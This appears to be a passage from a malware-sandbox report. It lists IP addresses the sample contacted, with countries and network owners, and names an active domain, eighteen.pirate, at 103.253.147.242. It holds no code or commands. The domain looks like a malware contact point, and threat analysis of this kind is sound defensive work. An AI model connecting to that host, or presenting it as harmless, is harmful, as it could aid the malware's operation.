 unknown Brazil
7738 TelemarNorteLesteSABR false
118.49.166.92
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
134.18.138.227
 unknown Australia
385 AFCONC-BLOCK1-ASUS false
154.115.109.103
 unknown South Africa
2018 TENET-1ZA false
83.211.165.87
 unknown Italy
15589 ASN-CLOUDITALIAIT false
112.238.169.68
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
56.151.192.194
 unknown United States
2686 ATGS-MMD-ASUS false
138.205.75.166
 unknown Belgium
207730 ASSAPPIAT false
204.237.223.178
 unknown United States
3257 GTT-BACKBONEGTTDE false
144.231.10.9
 unknown United States
6157 SPRINTLINK-HOSTINGUS false
66.96.86.101
 unknown United States
29802 HVC-ASUS false
141.100.107.27
 unknown Germany
8365 MANDADE false
67.67.192.81
 unknown United States
7018 ATT-INTERNET4US false
180.101.222.131
 unknown China
23650 CHINANET-JS-AS-APASNumberforCHINANETjiangsuprovinceba false
178.37.233.70
 unknown Poland
12741 AS-NETIAWarszawa02-822PL false
110.86.195.93
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
179.254.133.54
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
7.54.112.169
 unknown United States
3356 LEVEL3US false
158.191.12.144
 unknown France
9159 CreditAgricoleFR false
81.153.121.255
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
183.231.195.229
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
137.242.157.93
 unknown United States
385 AFCONC-BLOCK1-ASUS false
148.85.134.78
 unknown United States
396349 FIVE-COLLEGE-DATA-NETWORK-ASUS false

Contacted Domains

Name IP Active
eighteen.pirate 103.253.147.242 true